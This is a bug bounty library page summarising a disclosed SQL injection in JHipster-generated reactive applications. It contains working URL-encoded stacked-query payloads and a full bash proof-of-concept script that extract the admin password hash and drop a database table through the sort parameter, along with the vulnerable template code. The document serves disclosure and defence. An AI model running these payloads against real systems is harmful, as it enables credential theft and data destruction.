# JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort

JHipster's reactive generator concatenates the user-supplied sort parameter into an unquoted SQL ORDER BY, letting any authenticated user run stacked SQL statements and exfiltrate password hashes or drop tables.

- Payout: Research
- Severity: high
- Program: JHipster
- Found by: qrn12580
- Disclosed: 2026-10-08
- CVE: CVE-2026-107375
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-r223-96jv-q533
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-r223-96jv-q533
- Tags: area:web3 domain:web impact:data-leak impact:dos impact:integrity kind:research platform:ghsa sev:high tech:java tech:rest technique:source-review vuln:sqli

**Target:** Generated Spring WebFlux + R2DBC entity list endpoint (GET /api/<entity>?sort=)
**Root cause:** The EntityManager_reactive.java.ejs template renders the attacker-controlled sort property as an unquoted SqlIdentifier in ORDER BY, and the query has no bound parameters so R2DBC uses the simple query protocol, allowing stacked statements.
**Steps:**
1. Generate a reactive SQL app: `reactive: true`, `databaseType: sql`, JWT auth, paginated entity Product.
2. Authenticate as low-privileged user via `POST /api/authenticate` to get a JWT.
3. Error probe: `GET /api/products?sort=name%27` returns 500 echoing raw `'` in `ORDER BY e_name'`.
4. Exfiltrate: `GET /api/products?sort=id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--`, then read back product name = admin bcrypt hash.
5. Drop: `GET /api/products?sort=id%3BDROP%20TABLE%20product%3B--` returns 200; subsequent list returns 500 'Table PRODUCT not found'.
**How found:** Reporter read the generator template `EntityManager_reactive.java.ejs`, noticed `order.getProperty()` is passed to `table.column(propertyName)` as an unquoted SqlIdentifier with no validation, and reasoned that R2DBC's simple query protocol would permit stacked statements; confirmed with a quote error probe then stacked payloads on H2 and PostgreSQL.
**Exploitation:** Any authenticated ROLE_USER (including self-registered) sends a crafted `sort` value; the unquoted identifier breaks out of ORDER BY and the `;`-separated statement executes via the simple query protocol. Attacker reads jhi_user password hashes into a readable column, writes/deletes data, or drops tables.
**Escalation:** Read admin bcrypt hash from jhi_user enables offline cracking toward full admin takeover; DROP TABLE gives availability impact.
**Insight:** Generated/scaffolded code is a shared attack surface: audit ORM/query-builder templates for user-controlled identifiers rendered unquoted, and check whether the driver uses simple vs extended query protocol — stacked statements only work on the former.

## Proof of concept (copied exactly from the original report)

**PoC script injecting SQL via sort parameter**

```
#!/usr/bin/env bash
# Usage: BASE_URL=http://host:port ./poc.sh   (uses seeded user/user; JWT=... to reuse a token)
set -euo pipefail
BASE_URL="${BASE_URL:-http://127.0.0.1:18080}"; JWT="${JWT:-}"; LOGIN="${LOGIN:-user}"; PASSWORD="${PASSWORD:-user}"

if [ -z "$JWT" ]; then
  JWT=$(curl -s -X POST "$BASE_URL/api/authenticate" -H 'Content-Type: application/json' \
    -d "{\"username\":\"$LOGIN\",\"password\":\"$PASSWORD\",\"rememberMe\":false}" \
    | python3 -c "import sys,json;print(json.load(sys.stdin)['id_token'])")
fi
AUTH="Authorization: Bearer $JWT"

echo "== 2) Baseline =="
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc&page=0&size=2" | head -c 300; echo
echo "== 3) Error probe: sort=name' =="
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=name%27" \
  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(d.get("detail"))' || true
echo "== 4) Exfiltrate admin bcrypt hash =="
PAYLOAD="id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--"
curl -s -o /dev/null -w "  injection HTTP %{http_code}\n" -H "$AUTH" "$BASE_URL/api/products?sort=$PAYLOAD"
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc&page=0&size=2" \
  | python3 -c "import sys,json;[print('   id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]"
echo "== 5) DROP TABLE product =="
PAYLOAD="id%3BDROP%20TABLE%20product%3B--"
curl -s -o /dev/null -w "  injection HTTP %{http_code}\n" -H "$AUTH" "$BASE_URL/api/products?sort=$PAYLOAD"
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc" \
  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(str(d.get("detail"))[:90])' || true
```

**Vulnerable createOrderByFields template code**

```
private static Collection<? extends OrderByField> createOrderByFields(Table table, Sort sortToUse) {
    List<OrderByField> fields = new ArrayList<>();
    for (Sort.Order order : sortToUse) {
        String propertyName = order.getProperty();   // attacker controlled (?sort=...)
        OrderByField orderByField = !propertyName.contains(".")
            ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))
            : createOrderByField(propertyName);
        fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());
    }
    return fields;
}
```

